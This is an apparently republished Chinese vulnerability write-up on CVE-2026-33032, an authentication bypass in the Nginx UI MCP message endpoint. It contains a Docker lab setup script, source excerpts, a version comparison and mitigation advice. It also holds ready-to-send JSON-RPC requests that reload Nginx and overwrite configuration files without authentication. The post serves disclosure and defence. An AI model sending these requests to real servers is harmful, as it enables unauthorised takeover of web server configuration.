文章总结: 该文档详细分析了NginxUI组件MCP接口的认证绕过漏洞CVE-2026-33032。漏洞源于/mcp_message接口仅依赖IP白名单中间件而缺少身份验证,默认空白名单被解析为允许所有访问,导致攻击者无需认证即可调用MCP工具执行Nginx重启、配置文件修改等高危操作。文档提供了完整的Docker环境搭建步骤,并通过四种攻击场景演示漏洞复现过程,包括快速探测、文件创建、Nginx重载和配置修改。最后对比了2.3.5与2.3.6版本的修复差异,指出2.3.5版本仍可通过session机制利用。建议用户升级至2.3.6及以上版本。 综合评分: 85 文章分类: 漏洞分析,WEB安全,应急响应,安全工具,解决方案
Nginx UI MCP接口绕过认证漏洞 | CVE-2026-33032复现&研究
原创
404号浪漫 404号浪漫
404号浪漫
2026年4月18日 21:39 北京
在小说阅读器读本章
去阅读
点击蓝字,关注我们
0x0 背景介绍
Nginx UI是一个用于管理Nginx服务器的开源Web界面系统。
该组件的MCP(Model Context Protocol)集成模块在暴露 /mcp_message接口时,仅应用了IP白名单中间件而缺少身份验证。由于默认IP白名单为空,中间件会将其解析为“允许所有”,导致鉴权逻辑完全失效。
远程攻击者无需任何权限即可通过该接口调用所有MCP工具,执行重启Nginx、修改或删除 Nginx 配置文件等操作,从而实现对Nginx服务的完整接管。
漏洞详情
| 漏洞类型 | 影响版本 | 利用复杂度 | CVE编号 | | — | — | — | — | | 认证缺失 | <= 2.3.5 | 低 | CVE-2026-33032 |
攻击效果:
- 执行重启Nginx、修改或删除 Nginx 配置文件等操作。
0x1 环境搭建(Ubuntu24)
1.1-Ubuntu24+Docker搭建配置
bash#!/bin/bash# 检查并安装依赖if ! command -v curl &> /dev/null || ! command -v wget &> /dev/null; then echo "[*] 安装依赖工具..." apt update && apt install -y curl wgetfi# 检查 Docker 是否安装if ! command -v docker &> /dev/null; then echo "[*] 未安装 Docker,请检查安装"else echo "[+] Docker 已安装"fi# 检查 Docker Compose 插件if ! docker compose version &> /dev/null; then echo "[-] Docker Compose 插件不可用,请检查安装" exit 1else echo "[+] Docker Compose 插件可用"fiecho "[*] 阶段1/4:创建 Nginx UI 工作目录..."mkdir -p ~/nginx-ui && cd ~/nginx-ui || { echo "[-] 创建目录失败"; exit 1; }mkdir -p nginx logs data configecho "[+] 工作目录: $(pwd)"echo "[*] 阶段2/4:生成 docker-compose.yml..."cat > docker-compose.yml <<EOFversion: '3.8'services: nginx-ui: image: uozi/nginx-ui:2.3.2 container_name: nginx-ui restart: unless-stopped ports: - "80:80" - "443:443" - "9000:9000" volumes: - ./nginx:/etc/nginx - ./logs:/var/log/nginx - ./data:/data - ./config:/etc/nginx-ui environment: - TZ=Asia/Shanghai - NGINX_UI_IGNORE_DOCKER_SOCKET=trueEOFecho "[+] docker-compose.yml 已生成"echo "[*] 阶段3/4:启动 Docker 容器..."docker compose pulldocker compose up -decho "[*] 等待服务启动(约30秒)..."for i in {1..6}; do echo -n "." sleep 5doneecho -e "\n[+] 容器已启动"echo "[*] 检查 Nginx UI Web 服务是否就绪..."RETRIES=0MAX_RETRIES=12until [ "$(curl -s -o /dev/null -w '%{http_code}' http://localhost:9000)" = "200" ] || [ "$(curl -s -o /dev/null -w '%{http_code}' http://localhost:9000)" = "302" ]; do sleep 5 RETRIES=$((RETRIES+1)) if [ $RETRIES -ge $MAX_RETRIES ]; then echo "[-] Nginx UI 服务未在规定时间内响应,请手动检查: docker compose logs" exit 1 fi echo -n "."doneecho -e "\n[+] Nginx UI Web 服务已就绪 (HTTP 状态码 200/302)"echo "=============================================="echo " Nginx UI 2.3.2 部署完成!"echo " - 访问管理界面: http://IP:9000"echo " - 首次访问请完成安装向导"echo ""echo " - 配置文件目录: ~/nginx-ui/config"echo " - Nginx 配置目录: ~/nginx-ui/nginx"echo " - 日志目录: ~/nginx-ui/logs"echo " - 数据目录: ~/nginx-ui/data"echo ""echo " - 容器管理命令:"echo " docker compose up -d # 启动"echo " docker compose down # 停止"echo " docker compose logs -f # 查看日志"echo "=============================================="
#
0x2 漏洞复现
复现思路围绕两个 MCP 端点展开:/mcp(SSE 流)与/mcp_message(消息投递端点)。
路由层对两个端点都挂载了middleware.AuthRequired()-见 mcp/router.go,因此严格按当前代码构建时,不携带token或node_secret将得到403-见单测 mcp/router_test.go)
参考:
https://github.com/Kai-One001/cve-/blob/main/Nginx-ui-cve-2026-33032.md
2.1 -场景 A:快速探测(确认是否“未授权可调用”)
目标:用最小成本判断你的部署是否符合 CVE 描述的“/mcp_message 无需认证”。
1) 发送一个空 body 的 POST,请求 /mcp_message:
POST /mcp_message HTTP/1.1Host: 127.0.0.1Content-Type: application/jsonContent-Length:0
2) 观察响应:
•若返回 403 且 body 类似 {"message":"Authorization failed"}: 说明至少存在认证拦截(与 middleware.AuthRequired() 行为一致)。•若返回 200 / 4xx 但不是鉴权失败,且服务端产生 MCP 协议相关错误: 高度可疑,继续用 2.2/2.3 的“工具调用”确认是否能执行高危操作。
2.2-场景B:低版本创建文件利用

2.3-场景C: Nginx 重载(爆发点最短链路)
POST /mcp_message HTTP/1.1Host:<target>Content-Type: application/json
{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"reload_nginx","arguments":{}}}
流量特征:
•路径:/mcp_message•方法:POST•内容类型:application/json•关键字段:"method":"tools/call" + "name":"reload_nginx"
2.4-场景D:修改既有配置文件(nginx_config_modify)
- 工具定义见
mcp/config/config_modify.go:它将relative_path解析为绝对路径,校验文件存在后写入新内容。
POST /mcp_message HTTP/1.1Host: <target>Content-Type: application/json
{ "jsonrpc": "2.0", "id": 3, "method": "tools/call", "params": { "name": "nginx_config_modify", "arguments": { "relative_path": "<relative_path>", "content": "<new_content>", "sync_overwrite": true, "sync_node_ids": [] } }}
流量特征:
•"name":"nginx_config_add" / "name":"nginx_config_modify"
•"arguments" 中出现 "content"(Nginx 配置正文),通常体积较大且包含 server { ... }、location 等关键字
2.5-区别验证:版本进行验证结果
- 2.3.6版本即使获取seesion也失败
#
- 2.3.5和2.3.6直接请求接口结果一样,但是2.3.5获取seesion还是可以利用的
- 再往下第一个版本直接去请求接口会提示seesion问题,不会提示认证
2.6-复现流量特征 (PCAP)
- ### 截取的成功利用的流量,带认证获取seesion
- 后续无认证也可以进行操作接口
0x3 漏洞原理分析
#
3.0-[架构与模块定位] MCP 链路的入口层、逻辑层与危险操作面
本次分析是2.3.5版本:MCP 模块并不是“独立的一套 API”,它更像是一条把 HTTP 请求 转换为 工具调用(Tool Call) 的通道:
•入口层(HTTP 暴露面): Gin 路由把 /mcp 与 /mcp_message 暴露出来,并决定它们是否经过白名单/认证。
•逻辑层(协议适配层): internal/mcp/server.go 将 HTTP 请求交给 mcp-go 的 SSE/Message 服务器去解析、分发。
•驱动层(工具执行): mcp/config/*、mcp/nginx/* 注册的工具 handler 最终落到文件系统写入、Nginx reload/restart 等操作。
涉及核心文件(按漏洞层面职责划分非业务):
| 层级 | 文件路径 | 关键函数/对象 | 在漏洞链中的职责 |
| — | — | — | — |
| 入口层 | router/routers.go | mcp.InitRouter(r) | 在全局路由初始化时挂载MCP路由,决定MCP是否默认暴露 |
| 入口层 | mcp/router.go | InitRouter | 注册 /mcp、/mcp_message 及其挂载的中间件(认证/白名单) |
| 门禁层 | internal/middleware/ip_whitelist.go | IPWhiteList() | 来源限制;空白名单语义=不限制(默认放行),是“最后一道防线”的关键 |
| 门禁层 | internal/middleware/middleware.go | AuthRequired() / getNodeSecret() | 认证逻辑:支持 token或node_secret;若端点遗漏它,则直接进入工具执行面 |
| 逻辑层 | internal/mcp/server.go | sseServer / ServeHTTP | MCP 协议入口:SSE与message端点由mcp-go处理并触发工具调用 |
| 驱动层 | mcp/nginx/reload.go | reload_nginx | 触发 internal/nginx.Reload(),将配置变更立即生效 |
| 驱动层 | mcp/nginx/restart.go | restart_nginx | 触发internal/nginx.Restart(),具备服务中断/重启能力 |
| 驱动层 | mcp/config/config_add.go | nginx_config_add | os.WriteFile() 写入配置并自动Reload,构成“写文件->生效”的接管闭环 |
| 驱动层 | mcp/config/config_modify.go | nginx_config_modify | 修改既有配置文件内容,配合reload/restart 达成持续接管 |
小知识:
· MCP 双端点与会话机制:Nginx UI 的 MCP 集成采用 SSE(Server-Sent Events) 模型,包含两个互补的 HTTP 端点:
•/mcp:负责建立会话(SSE 流),返回一个临时 sessionId。在漏洞版本中,能预测的node_secret 绕过认证(即“未授权获取 sessionId”)。
•/mcp_message:主要是接收具体的工具调用请求(JSON-RPC),必须携带有效的 sessionId 作为查询参数。
3.1-[核心入口] 从路由锁定 MCP 暴露面
未授权真的耽搁了好久,一直发现有理解误差哎,第一步是直接去找 MCP 的路由注册点,看它到底把哪些 HTTP 入口暴露给外界。
- 在
router/routers.go里发现 MCP 路由在全局引擎初始化时被无条件挂载:
// router/routers.gomcp.InitRouter(r)
- 顺着进入
mcp/router.go,这里把两个端点明确地注册到了Gin:
// mcp/router.gor.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), func(c *gin.Context) { mcp.ServeHTTP(c)})r.Any("/mcp_message", middleware.IPWhiteList(), middleware.AuthRequired(), func(c *gin.Context) { mcp.ServeHTTP(c)})
- 边界很清晰:MCP能做 “改配置 / 重载 / 重启”,所以它至少应该被 认证(
AuthRequired)和 来源限制(IPWhiteList)包住。 - 该漏洞的核心冲突点也在这里:如果实际环境中里存在某个构建 / 分支让
/mcp_message缺失AuthRequired(),那就理论上攻击者可以绕过认证,直接把 “工具调用” 投递进来。
3.2-[逻辑缺陷] “默认白名单为空” 在实现上等价于 “放行所有人”
接着往下看,从路由转移到 “它依赖的最后一道门”:middleware.IPWhiteList()
在白名单逻辑的第一段判断值得关注:
// internal/middleware/ip_whitelist.goclientIP := c.ClientIP()if len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == "" || clientIP == "127.0.0.1" || clientIP == "::1" { c.Next() return}
- 预期设计:
IP白名单是一道 “额外收口” 的边界,理想状态应是 “默认拒绝,显式放行”。 - 实际实现:
len(IPWhiteList)==0时直接Next()—— 默认白名单为空的情况下,它不是 “没人被允许”,而是 “所有人都被允许” - 其实逻辑本身也没啥问题(很多产品会用 “空 = 不启用限制” 的语义),但它会在一个特定条件下出现了问题:当某个高危入口 “只剩它这一道门” 时,空白名单就等价于 裸奔。
正因如此CVE描述里 “/mcp_message 仅应用 IP白名单” 会造成质变 —— 因为IPWhiteList()在默认配置下并不构成约束。
#
3.3-[攻击链路] 一旦消息端点失守,MCP 工具就是 “远程运维超能力”
接着就是证明 “失守会造成什么结果”,继续沿着mcp.ServeHTTP()往下追,看看它最终把请求交给了谁。
- 在
internal/mcp/server.go里,MCP采用mcp-go的SSE/Message双端点模型:
// internal/mcp/server.gosseServer = server.NewSSEServer( mcpServer, server.WithSSEEndpoint("/mcp"), server.WithMessageEndpoint("/mcp_message"),)
func ServeHTTP(c *gin.Context) { sseServer.ServeHTTP(c.Writer, c.Request)}
- 这解释了为什么CVE特别强调 “两个端点”:
/mcp负责建立会话,/mcp_message负责投递工具调用消息。 - 在这种模型下,如果消息端点未被认证保护,攻击者甚至不需要完整模拟前端 /Agent,只要能构造出
tools/call类请求,就能直接触发后端工具执行。
下面就是挖掘下能造成什么影响,
在mcp/nginx/reload.go与mcp/nginx/restart.go找到了两个最直观操作:
// mcp/nginx/reload.goconst nginxReloadToolName = "reload_nginx"func handleNginxReload(...) (*mcp.CallToolResult, error) { output, err := nginx.Reload() ...}
// mcp/nginx/restart.goconst nginxRestartToolName = "restart_nginx"func handleNginxRestart(...) (*mcp.CallToolResult, error) { nginx.Restart() ...}
- 更关键的是配置文件写入能力。在
mcp/config/config_add.go中,工具会直接落到文件系统写入,并且写完立即 reload:
// mcp/config/config_add.goerr = os.WriteFile(path, []byte(content), 0644)...res := nginx.Control(nginx.Reload)
- 以及
mcp/config/config_modify.go中对既有配置的覆盖写入:
// mcp/config/config_modify.goabsPath, err := config.ResolveAbsoluteOrRelativeConfPath(relativePath)...err = config.Save(absPath, content, cfg)
- 预期边界:这些工具本质上等价于 “远程
root级运维接口”(至少在Nginx管理维度上),合理的边界应当是:强认证 + 强来源限制 + 最小权限(分工具授权)+ 审计。 - 现实实现:工具层本身几乎不做权限判定;它把所有安全假设都押在 “
HTTP入口一定会被认证 / 白名单正确保护” 上。 - 一旦
/mcp_message端点出现 “少挂一个中间件” 的工程性失误,攻击者拿到的不是一个普通API,而是一整套 可写配置 + 可触发reload/restart的接管能力。
#
3.4 [链路总结] 从 “注入点” 到 “爆发点” 的完整调用链
- 以
/mcp_message缺失认证,仅IP白名单;且白名单默认为空放行 叙述中的缺口为前提,完整链路可以被还原为:
`HTTP POST /mcp_message`(**注入点:未认证消息投递**)-> `router`:`mcp.InitRouter()`-> `middleware.IPWhiteList()`(**空白名单直接放行**)-> `mcp.ServeHTTP()`(`internal/mcp/server.go`)-> `mcp-go SSEServer` 解析消息(method: `tools/call`)-> `mcpServer.AddTool(...)` 注册的工具 handler-> `handleNginxConfigAdd/Modify` 写入配置(**爆发点:文件系统变更**)-> `nginx.Control(nginx.Reload)` / `handleNginxReload`(**爆发点:配置立即生效**)-> Nginx 服务配置面被完全接管
补充:在 “当前代码快照” 的安全边界里,AuthRequired()还提供了 node_secret 这一条认证通路(internal/middleware/middleware.go):
// internal/middleware/middleware.goif nodeSecret := getNodeSecret(c); nodeSecret != "" && nodeSecret == settings.NodeSettings.Secret { ... c.Next() return}
并且settings.NodeSettings.Secret在为空时会自动生成随机UUID并写回配置(internal/kernel/boot.go::InitNodeSecret)。这意味着:只要认证中间件确实挂载生效,攻击者无法靠 “默认空 secret” 绕过。
0x4 修复建议
1、升级最新版本:将组件升级最新版本2.3.6
https://github.com/0xJacky/nginx-ui
2、临时防护措施:
- 限制访问:在Nginx / 反代层对/mcp与 /mcp_message 做强制收口,仅允许管理网段访问,避免直接暴露到公网或非受控网段
- 防火墙拦截:配置规则,拦截对模块异常的请求(^/(mcp|mcp_message)$ ),关注body 关键字,对未携带 token/node_secret 的请求直接阻断
- 白名单配置:明确配置
settings.AuthSettings.IPWhiteList为你的运维出口 IP 列表(不要保持空值)。因为IPWhiteList()的实现语义是 “空 = 不限制”。
免责声明:本文仅用于安全研究目的,未经授权不得用于非法渗透测试活动。
/**哇,被批评了,好久么发 被发现了(●’◡’●)**/
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:404号浪漫 404号浪漫 404号浪漫《Nginx UI MCP接口绕过认证漏洞 | CVE-2026-33032复现&研究》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论